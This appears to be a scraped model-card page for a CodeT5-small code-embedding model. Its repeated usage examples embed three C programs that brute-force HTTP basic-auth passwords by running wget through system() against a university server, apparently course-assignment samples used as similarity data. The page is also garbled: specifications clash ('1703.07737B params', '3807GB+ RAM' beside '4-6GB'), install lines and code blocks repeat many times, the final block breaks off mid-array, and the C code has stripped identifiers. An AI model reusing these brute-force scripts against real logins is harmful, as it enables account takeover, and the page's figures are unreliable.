SOCO-C-CodeT5Small-ST

3
by
buelfhood
Embedding Model
OTHER
1703.07737B params
New
3 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
3807GB+ RAM
Mobile
Laptop
Server
Quick Summary

SentenceTransformer based on Salesforce/codet5-small This is a sentence-transformers model finetuned from Salesforce/codet5-small.

Device Compatibility

Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1587GB+ RAM

Training Data Analysis

🔵 Good (6.0/10)

Researched training datasets used by SOCO-C-CodeT5Small-ST with quality assessment

Specialized For

general
multilingual

Training Datasets (1)

c4
🔵 6/10
general
multilingual
Key Strengths
  • Scale and Accessibility: 750GB of publicly available, filtered text
  • Systematic Filtering: Documented heuristics enable reproducibility
  • Language Diversity: Despite English-only, captures diverse writing styles
Considerations
  • English-Only: Limits multilingual applications
  • Filtering Limitations: Offensive content and low-quality text remain despite filtering

Explore our comprehensive training dataset analysis

View All Datasets

Code Examples

Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
